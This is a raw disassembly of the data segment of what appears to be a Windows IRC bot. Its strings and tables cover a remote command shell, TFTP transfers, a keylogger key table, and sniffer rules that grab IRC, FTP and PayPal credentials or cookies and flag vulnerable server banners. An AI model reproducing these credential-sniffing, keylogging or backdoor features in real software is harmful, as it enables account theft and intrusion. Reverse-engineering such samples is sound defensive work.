aApplicationOct	db 'application/octet-stream',0 ; DATA XREF: sub_40F530:loc_40F596o
		align 10h
aTextHtml	db 'text/html',0        ; DATA XREF: sub_40F530+5Fo
		align 4
unk_43932C	db  2Dh	; -		; DATA XREF: sub_40F6B3+296o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_37	db ' failed to start worker thread, error %d',0
		align 4
unk_439364	db  2Dh	; -		; DATA XREF: sub_40F6B3+212o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aWorkerThreadOf	db ' worker thread of server thread: %d.',0
		align 4
asc_439398:				; DATA XREF: sub_40F6B3+15Ao
		unicode	0, <*>,0
aS_3		db '\%s',0              ; DATA XREF: sub_40F6B3+2Fo
aFoundIFilesAnd	db 'Found: %i Files and %i Directories',0Dh,0Ah,0
					; DATA XREF: sub_40F96A+652o
		align 4
aTrTdColspan3_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+637o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 10h
aPrivmsgSFoundS	db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
					; DATA XREF: sub_40F96A+61Co
		align 10h
a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+58Do
		align 4
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_40F96A+571o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_40F96A:loc_40FE92o
		align 4
aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_40F96A+521o
		align 4
aPrivmsgS31s2_0	db 'PRIVMSG %s :%-31s  %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_40F96A+46Eo
		align 4
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+42Fo
		align 4
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_40F96A+3F9o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_40F96A:loc_40FD24o
		align 4
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_40F96A+3B3o
		align 4
aSS_0		db '%s%s/',0            ; DATA XREF: sub_40F96A+36Co
		align 4
aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+328o
					; sub_40F96A+496o
		db '<TD WIDTH="%d"><A HREF="',0
		align 4
aPrivmsgS31s21s	db 'PRIVMSG %s :%-31s  %-21s',0Ah,0 ; DATA XREF: sub_40F96A+310o
		align 4
aS		db '<%s>',0             ; DATA XREF: sub_40F96A+2E9o
					; sub_40F96A+40Bo
		align 10h
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: sub_40F96A+2BFo
aAm		db 'AM',0               ; DATA XREF: sub_40F96A+295o
		align 4
aPm		db 'PM',0               ; DATA XREF: sub_40F96A+28Ao
		align 4
a__		db '..',0               ; DATA XREF: sub_40F96A+237o
		align 4
aTrTdColspan3AH	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+1C5o
		db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
		db 'D>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aSearchingForS	db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+149o
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+12Do
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aTrTdWidthDCode	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+F9o
		db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aH1IndexOfSH1Ta	db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_40F96A+AEo
		db '<TABLE BORDER="0">',0Dh,0Ah,0
		align 4
aHtmlHeadTitleI	db '<HTML>',0Dh,0Ah     ; DATA XREF: sub_40F96A+79o
		db '<HEAD>',0Dh,0Ah
		db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
		db '</HEAD>',0Dh,0Ah
		db '<BODY>',0Dh,0Ah,0
		align 4
aPrivmsgSSearch	db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+4Bo
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_4100DB+8Fo
		db 'Referer: %s',0Ah
		db 'Host: %s',0Ah
		db 'Connection: close',0Ah
		db 0Ah,0
dword_439840	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: ___:0041036Do
aServerFailed_0	db '- server failed, returned %d',0
		align 4
aUseridUnixS	db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: ___:00410312o
dword_439884	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: ___:004102B7o
aClientConnecti	db '- client connection from %s:%d.',0
		db  2Dh	; -
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_38	db 'Failed to start client thread, error: <%d>.',0
unk_4398EC	db  2Dh	; -		; DATA XREF: ___:00410493o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aClientConnec_0	db 'Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
unk_439934	db  2Dh	; -		; DATA XREF: ___:004106E5o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aFailedToSta_39	db 'Failed to start connection thread, error: <%d>.',0
unk_439974	db  2Dh	; -		; DATA XREF: ___:0041061Co
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aClientConnec_1	db 'Client connection to IP: %s:%d, Server thread: %d.',0
		align 4
unk_4399B8	db  2Dh	; -		; DATA XREF: ___:004109A8o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedOutS	db '- User logged out: <%s@%s>.',0
		align 4
unk_4399E4	db  2Dh	; -		; DATA XREF: ___:00410981o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorSessionru	db '- Error: SessionRun(): <%d>.',0
		align 10h
unk_439A10	db  2Dh	; -		; DATA XREF: ___:00410961o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedInS@	db '- User logged in: <%s@%s>.',0
aPermissionDeni	db 'Permission denied',0Ah,0 ; DATA XREF: ___:00410931o
		align 4
unk_439A4C	db  2Dh	; -		; DATA XREF: ___:004108A0o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorGetpeerna	db '- Error: getpeername(): <%d>.',0
		align 4
unk_439A78	db  2Dh	; -		; DATA XREF: sub_4109C4:loc_410A09o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aProtocolString	db '- Protocol string too long.',0
		align 4
dword_439AA4	dd 234032Dh, 676F6C72h,	2646E69h, 4C202D03h, 6E69676Fh
					; DATA XREF: sub_410A1E+1Bo
		dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h
		dd 203A7265h, 4073253Ch, 2E3E7325h, 0
		dd 234032Dh, 676F6C72h,	2646E69h, 45202D03h, 726F7272h
		dd 6573203Ah, 72657672h, 69616620h, 2C64656Ch, 74657220h
		dd 656E7275h, 3C203A64h, 2E3E6425h, 0
		dd 234032Dh, 676F6C72h,	2646E69h, 46202D03h, 656C6961h
		dd 6F742064h, 61747320h, 63207472h, 6E65696Ch, 68742074h
		dd 64616572h, 7265202Ch, 3A726F72h, 64253C20h, 2E3Eh, 234032Dh
		dd 676F6C72h, 2646E69h,	43202D03h, 6E65696Ch, 6F632074h
		dd 63656E6Eh, 6E6F6974h, 6F726620h, 5049206Dh, 7325203Ah
		dd 2C64253Ah, 72655320h, 20726576h, 65726874h, 203A6461h
		dd 2E6425h, 234032Dh, 676F6C72h, 2646E69h, 52202D03h, 79646165h
		dd 646E6120h, 69617720h, 676E6974h, 726F6620h, 636E6920h
		dd 6E696D6Fh, 6F632067h, 63656E6Eh, 6E6F6974h, 2E73h, 234032Dh
		dd 676F6C72h, 2646E69h,	46202D03h, 656C6961h, 6F742064h
		dd 736E6920h, 6C6C6174h, 6E6F6320h, 6C6F7274h, 6820432Dh
		dd 6C646E61h, 202C7265h, 6F727265h, 3C203A72h, 2E3E6425h
		dd 0
		db  2Dh	; -
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorWsastartu	db '- Error: WSAStartup(): <%d>.',0
		align 10h
unk_439C40	db  2Dh	; -		; DATA XREF: sub_410CD5+DEo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aWaitformultipl	db '- WaitForMultipleObjects error: <%d>.',0
		align 4
unk_439C74	db  2Dh	; -		; DATA XREF: sub_410CD5+59o
					; sub_410CD5+8Bo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCreate	db '- Failed to create ReadShell session thread, error: <%d>.',0
		align 4
unk_439CBC	db  2Dh	; -		; DATA XREF: sub_410E26+AFo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExecut	db '- Failed to execute shell.',0
unk_439CE4	db  2Dh	; -		; DATA XREF: sub_410E26+7Eo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_0	db '- Failed to create shell stdin pipe, error: <%d>.',0
		align 4
unk_439D24	db  2Dh	; -		; DATA XREF: sub_410E26+5Co
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_1	db '- Failed to create shell stdout pipe, error: <%d>.',0
unk_439D64	db  2Dh	; -		; DATA XREF: sub_410F1F+C3o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExec_0	db '- Failed to execute shell, error: <%d>.',0
		align 4
aCmdQ		db 'cmd /q',0           ; DATA XREF: sub_410F1F+8Co
		align 4
dword_439DA4	dd 234032Dh, 676F6C72h,	2646E69h, 53202D03h, 69737365h
					; DATA XREF: sub_410FF8+A1o
		dd 65526E6Fh, 68536461h, 546C6C65h, 61657268h, 78652064h
		dd 64657469h, 7265202Ch, 3A726F72h, 6C253C20h, 2E3E64h
		dd 234032Dh, 6B636F73h,	3023473h, 6146202Dh, 64656C69h
		dd 206F7420h, 72617473h, 65732074h, 72657672h, 206E6F20h
		dd 74726F50h, 2E642520h, 0
		dd 234032Dh, 6B636F73h,	3023473h, 6146202Dh, 64656C69h
		dd 206F7420h, 72617473h, 6C632074h, 746E6569h, 72687420h
		dd 2C646165h, 72726520h, 203A726Fh, 3E64253Ch, 2Eh, 234032Dh
		dd 6B636F73h, 3023473h,	6C43202Dh, 746E6569h, 6E6F6320h
		dd 7463656Eh, 206E6F69h, 6D6F7266h, 3A504920h, 3A732520h
		dd 202C6425h, 76726553h, 74207265h, 61657268h, 25203A64h
		dd 2E64h, 234032Dh, 6B636F73h, 3023473h, 7245202Dh, 3A726F72h
		dd 69614620h, 2064656Ch, 63206F74h, 656E6E6Fh, 74207463h
		dd 6174206Fh, 74656772h, 6572202Ch, 6E727574h, 203A6465h
		dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h,	3023473h, 7245202Dh
		dd 3A726F72h, 69614620h, 2064656Ch, 6F206F74h, 206E6570h
		dd 6B636F73h, 29287465h, 6572202Ch, 6E727574h, 203A6465h
		dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h,	3023473h, 7541202Dh
		dd 6E656874h, 61636974h, 6E6F6974h, 69616620h, 2E64656Ch
		dd 6D655220h, 2065746Fh, 72657375h, 203A6469h, 21207325h
		dd 7325203Dh, 2Eh, 4000500h, 7868746Bh,	0
aTftpTransferCo	db 'Tftp transfer complete to: %s',0
		align 4
aTftpTransferSt	db 'Tftp transfer started to: %s',0
		align 8
		dw 8
		unicode	0, <>,0
aB:
		unicode	0, <b>,0
		dd 62000000h, 2	dup(0)
		dd 0Dh,	65h, 65000000h,	2 dup(0)
		dd 1Bh,	4353455Bh, 5B00005Dh, 5D435345h, 0
		dd 70h,	5D31465Bh, 5B000000h, 5D3146h, 0
		dd 71h,	5D32465Bh, 5B000000h, 5D3246h, 0
		dd 72h,	5D33465Bh, 5B000000h, 5D3346h, 0
		dd 73h,	5D34465Bh, 5B000000h, 5D3446h, 0
		dd 74h,	5D35465Bh, 5B000000h, 5D3546h, 0
		dd 75h,	5D36465Bh, 5B000000h, 5D3646h, 0
		dd 76h,	5D37465Bh, 5B000000h, 5D3746h, 0
		dd 77h,	5D38465Bh, 5B000000h, 5D3846h, 0
		dd 78h,	5D39465Bh, 5B000000h, 5D3946h, 0
		dd 79h,	3031465Bh, 5B00005Dh, 5D303146h, 0
		dd 7Ah,	3131465Bh, 5B00005Dh, 5D313146h, 0
		dd 7Bh,	3231465Bh, 5B00005Dh, 5D323146h, 0
		dd 0C0h, 60h, 7E000000h, 2 dup(0)
		dd 2 dup(31h), 21000000h, 2 dup(0)
		dd 2 dup(32h), 40000000h, 2 dup(0)
		dd 2 dup(33h), 23000000h, 2 dup(0)
		dd 2 dup(34h), 24000000h, 2 dup(0)
		dd 2 dup(35h), 25000000h, 2 dup(0)
		dd 2 dup(36h), 5E000000h, 2 dup(0)
		dd 2 dup(37h), 26000000h, 2 dup(0)
		dd 2 dup(38h), 2A000000h, 2 dup(0)
		dd 2 dup(39h), 28000000h, 2 dup(0)
		dd 2 dup(30h), 29000000h, 2 dup(0)
		dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
		dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
		dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
		dd 51h,	71h, 51000000h,	2 dup(0)
		dd 57h,	77h, 57000000h,	2 dup(0)
		dd 45h,	65h, 45000000h,	2 dup(0)
		dd 52h,	72h, 52000000h,	2 dup(0)
		dd 54h,	74h, 54000000h,	2 dup(0)
		dd 59h,	79h, 59000000h,	2 dup(0)
		dd 55h,	75h, 55000000h,	2 dup(0)
		dd 49h,	69h, 49000000h,	2 dup(0)
		dd 4Fh,	6Fh, 4F000000h,	2 dup(0)
		dd 50h,	70h, 50000000h,	2 dup(0)
		dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
		dd 0DDh, 0
		dd 7D000000h, 2	dup(0)
		dd 41h,	61h, 61000000h,	2 dup(0)
		dd 53h,	73h, 53000000h,	2 dup(0)
		dd 44h,	64h, 44000000h,	2 dup(0)
		dd 46h,	66h, 46000000h,	2 dup(0)
		dd 47h,	67h, 47000000h,	2 dup(0)
		dd 48h,	68h, 48000000h,	2 dup(0)
		dd 4Ah,	6Ah, 4A000000h,	2 dup(0)
		dd 4Bh,	6Bh, 4B000000h,	2 dup(0)
		dd 4Ch,	6Ch, 4C000000h,	2 dup(0)
		dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
		dd 0DEh, 27h, 22000000h, 2 dup(0)
		dd 5Ah,	7Ah, 5A000000h,	2 dup(0)
		dd 58h,	78h, 58000000h,	2 dup(0)
		dd 43h,	63h, 43000000h,	2 dup(0)
		dd 56h,	76h, 56000000h,	2 dup(0)
		dd 42h,	62h, 42000000h,	2 dup(0)
		dd 4Eh,	6Eh, 4E000000h,	2 dup(0)
		dd 4Dh,	6Dh, 4D000000h,	2 dup(0)
		dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
		dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
		dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
		dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
		dd 11h,	5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
		dd 5B00005Dh, 5D4E4957h, 0
		dd 2 dup(20h), 20000000h, 2 dup(0)
		dd 5Ch,	4E49575Bh, 5B00005Dh, 5D4E4957h, 0
		dd 2Ch,	5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
		dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
		dd 5D534E49h, 0
		dd 24h,	4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
		dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
		dd 5D4C4544h, 0
		dd 23h,	444E455Bh, 5B00005Dh, 5D444E45h, 0
		dd 22h,	4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
		dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
		dd 5D5055h, 0
		dd 27h,	4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
		dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
		dd 4B4C4D4Eh, 5Dh, 6Fh,	2Fh, 2F000000h,	2 dup(0)
		dd 6Ah,	2Ah, 2A000000h,	2 dup(0)
		dd 6Dh,	2Dh, 2D000000h,	2 dup(0)
		dd 6Bh,	2Bh, 2B000000h,	2 dup(0)
		dd 60h,	30h, 30000000h,	2 dup(0)
		dd 61h,	31h, 31000000h,	2 dup(0)
		dd 62h,	32h, 32000000h,	2 dup(0)
		dd 63h,	33h, 33000000h,	2 dup(0)
		dd 64h,	34h, 34000000h,	2 dup(0)
		dd 65h,	35h, 35000000h,	2 dup(0)
		dd 66h,	36h, 36000000h,	2 dup(0)
		dd 67h,	37h, 37000000h,	2 dup(0)
		dd 68h,	38h, 38000000h,	2 dup(0)
		dd 69h,	39h, 39000000h,	2 dup(0)
		dd 6Eh,	2Eh, 2E000000h,	2 dup(0)
dword_43A714	dd 234032Dh, 6C79656Bh,	302676Fh, 7325202Dh, 0 ; DATA XREF: ___:00411CC1o
aDDDDDDS	db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: ___:00411C9Bo
		align 4
asc_43A744:				; DATA XREF: ___:00411C3Fo
		unicode	0, <\>,0
aSReturnS	db '%s (Return) (%s)',0
		align 4
aSBufferFullS	db '%s (Buffer full) (%s)',0
		align 4
aSChangedWindow	db '%s (Changed Windows: %s)',0
		align 10h
		dd offset off_43B008
		dd offset off_43B004
		dd offset off_43B000
		dd offset aHttp_0	; "HTTP"
		dd 6F6C2E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C213Ah, 6E6967h, 4 dup(0)
		dd 6F6C403Ah, 6E6967h, 4 dup(0)
		dd 6F6C243Ah, 6E6967h, 4 dup(0)
		dd 6F6C253Ah, 6E6967h, 4 dup(0)
		dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C263Ah, 6E6967h, 4 dup(0)
		dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C273Ah, 6E6967h, 4 dup(0)
		dd 6F6C603Ah, 6E6967h, 4 dup(0)
		dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C203Ah, 6E6967h, 4 dup(0)
		dd 75612E3Ah, 6874h, 4 dup(0)
		dd 75612C3Ah, 6874h, 4 dup(0)
		dd 7561213Ah, 6874h, 4 dup(0)
		dd 7561403Ah, 6874h, 4 dup(0)
		dd 7561243Ah, 6874h, 4 dup(0)
		dd 7561253Ah, 6874h, 4 dup(0)
		dd 75615E3Ah, 6874h, 4 dup(0)
		dd 7561263Ah, 6874h, 4 dup(0)
		dd 75612A3Ah, 6874h, 4 dup(0)
		dd 75612D3Ah, 6874h, 4 dup(0)
		dd 75612B3Ah, 6874h, 4 dup(0)
		dd 75612F3Ah, 6874h, 4 dup(0)
		dd 75615C3Ah, 6874h, 4 dup(0)
		dd 75613D3Ah, 6874h, 4 dup(0)
		dd 75613F3Ah, 6874h, 4 dup(0)
		dd 7561273Ah, 6874h, 4 dup(0)
		dd 7561603Ah, 6874h, 4 dup(0)
		dd 75617E3Ah, 6874h, 4 dup(0)
		dd 7561203Ah, 6874h, 4 dup(0)
		dd 64692E3Ah, 5	dup(0)
		dd 64692C3Ah, 5	dup(0)
		dd 6469213Ah, 5	dup(0)
		dd 6469403Ah, 5	dup(0)
		dd 6469243Ah, 5	dup(0)
		dd 6469253Ah, 5	dup(0)
		dd 64695E3Ah, 5	dup(0)
		dd 6469263Ah, 5	dup(0)
		dd 64692A3Ah, 5	dup(0)
		dd 64692D3Ah, 5	dup(0)
		dd 64692B3Ah, 5	dup(0)
		dd 64692F3Ah, 5	dup(0)
		dd 64695C3Ah, 5	dup(0)
		dd 64693D3Ah, 5	dup(0)
		dd 64693F3Ah, 5	dup(0)
		dd 6469273Ah, 5	dup(0)
		dd 6469603Ah, 5	dup(0)
		dd 64697E3Ah, 5	dup(0)
		dd 6469203Ah, 5	dup(0)
		dd 61682E3Ah, 6E696873h, 4 dup(0)
		dd 6168213Ah, 6E696873h, 4 dup(0)
		dd 6168243Ah, 6E696873h, 4 dup(0)
		dd 6168253Ah, 6E696873h, 4 dup(0)
		dd 65732E3Ah, 65727563h, 4 dup(0)
		dd 6573213Ah, 65727563h, 4 dup(0)
		dd 6C2E3Ah, 5 dup(0)
		dd 6C213Ah, 5 dup(0)
		dd 6C243Ah, 5 dup(0)
		dd 6C253Ah, 5 dup(0)
		dd 782E3Ah, 5 dup(0)
		dd 78213Ah, 5 dup(0)
		dd 78243Ah, 5 dup(0)
		dd 78253Ah, 5 dup(0)
		dd 79732E3Ah, 6Eh, 4 dup(0)
		dd 7973213Ah, 6Eh, 4 dup(0)
		dd 7973243Ah, 6Eh, 4 dup(0)
		dd 7973253Ah, 6Eh, 4 dup(0)
		dd 4B444320h, 207965h, 4 dup(0)
		dd 4E494F4Ah, 2320h, 3 dup(0)
		dd 1, 4B43494Eh, 20h, 3	dup(0)
		dd 1, 5245504Fh, 20h, 3	dup(0)
		dd 1, 7265706Fh, 20h, 3	dup(0)
		dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
		dd 1, 52455355h, 20h, 3	dup(0)
		dd 2, 53534150h, 20h, 3	dup(0)
		dd 2, 70796170h, 6C61h,	3 dup(0)
		dd 3, 50594150h, 4C41h,	3 dup(0)
		dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
		dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
		dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
		dd 3, 6	dup(0)
aHttp_0		db 'HTTP',0             ; DATA XREF: ___:0043A79Co
		align 10h
off_43B000	dd offset aMX09cb_	; DATA XREF: ___:0043A798o
					; "¬œ°X²\b09c¡&·."
off_43B004	dd offset aMccaffery+1	; DATA XREF: ___:0043A794o
off_43B008	dd offset word_544F42	; DATA XREF: ___:0043A790o
		dd 234032Dh, 696E7370h,	3026666h, 6572202Dh, 29287663h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 696E7370h,	3026666h, 7573202Dh, 63697073h
		dd 73756F69h, 20732520h, 6B636170h, 66207465h, 3A6D6F72h
		dd 3A732520h, 2D206425h, 732520h, 234032Dh, 696E7370h
		dd 3026666h, 2Dh, 4E53505Bh, 5D464649h,	0
		dd 234032Dh, 696E7370h,	3026666h, 5357202Dh, 636F4941h
		dd 29286C74h, 69616620h, 2C64656Ch, 74657220h, 656E7275h
		dd 64252064h, 0
		dd 234032Dh, 696E7370h,	3026666h, 6962202Dh, 2928646Eh
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 696E7370h,	3026666h
aSocketFailedRe	db '- socket() failed, returned %d',0
		align 10h
aHashin		db ':!hashin',0         ; DATA XREF: sub_412360+103o
		align 4
a_hashin	db ':.hashin',0         ; DATA XREF: sub_412360+EEo
		align 4
aIdent_0	db ':!ident',0          ; DATA XREF: sub_412360+D9o
a_ident		db ':.ident',0          ; DATA XREF: sub_412360+C8o
a_login		db ':.Login',0          ; DATA XREF: sub_412360+B7o
aLogin_0	db ':!Login',0          ; DATA XREF: sub_412360+A6o
aLogin_1	db ':!login',0          ; DATA XREF: sub_412360+95o
a_login_0	db ':.login',0          ; DATA XREF: sub_412360+84o
a366		db '366 ',0             ; DATA XREF: sub_412360+73o
		align 10h
a302_0		db '302 ',0             ; DATA XREF: sub_412360:loc_4123C2o
		align 4
aJoin_0		db 'JOIN #',0           ; DATA XREF: sub_412360+4Do
		align 10h
aPsniff_0	db 'PSNIFF//',0         ; DATA XREF: sub_412360+3Co
		align 4
aPsniff_1	db '[PSNIFF]:',0        ; DATA XREF: sub_412360+2Bo
		align 4
aBotSniff	db 'Bot sniff',0        ; DATA XREF: sub_412360+5o
		align 4
aYouAreNowAnIrc	db 'You are now an IRC Operator',0 ; DATA XREF: sub_412477+62o
aOper		db 'oper ',0            ; DATA XREF: sub_412477+51o
		align 4
aNick_1		db 'NICK ',0            ; DATA XREF: sub_412477:loc_4124B7o
					; sub_4124ED+2Bo
		align 10h
aOper_0		db 'OPER ',0            ; DATA XREF: sub_412477+2Bo
		align 4
aIrcSniff	db 'IRC sniff',0        ; DATA XREF: sub_412477+5o
		align 4
aPass_1		db 'PASS ',0            ; DATA XREF: sub_4124ED+73o
		align 4
aUser_3		db 'USER ',0            ; DATA XREF: sub_4124ED+62o
		align 4
a230		db '230 ',0             ; DATA XREF: sub_4124ED:loc_41253Eo
		align 4
a220		db '220 ',0             ; DATA XREF: sub_4124ED+3Co
		align 4
aFtpSniff	db 'FTP sniff',0        ; DATA XREF: sub_4124ED+5o
		align 10h
aSetCookie	db 'Set-Cookie:',0      ; DATA XREF: sub_412574+73o
aPaypal_com	db 'paypal.com',0       ; DATA XREF: sub_412574+62o
		align 4
aPaypal_com_0	db 'PAYPAL.COM',0       ; DATA XREF: sub_412574+51o
		align 4
aPaypal_0	db 'PAYPAL',0           ; DATA XREF: sub_412574:loc_4125B4o
		align 4
aPaypal		db 'paypal',0           ; DATA XREF: sub_412574+2Bo
		align 4
aHttpSniff	db 'HTTP sniff',0       ; DATA XREF: sub_412574+5o
		align 10h
aOpenssh_2	db 'OpenSSH_2',0        ; DATA XREF: sub_4125FB+51o
		align 4
aServUFtpServer	db 'Serv-U FTP Server',0 ; DATA XREF: sub_4125FB:loc_41263Bo
		align 10h
aOpenssl0_9_6	db 'OpenSSL/0.9.6',0    ; DATA XREF: sub_4125FB+2Bo
		align 10h
aVulnSniff	db 'VULN sniff',0       ; DATA XREF: sub_4125FB+5o
		align 4
unk_43B27C	db  2Dh	; -		; DATA XREF: sub_412660+3ECo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aVulnSniffSDToS	db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_43B2B4	db  2Dh	; -		; DATA XREF: sub_412660+382o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aHttpSniffSDToS	db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
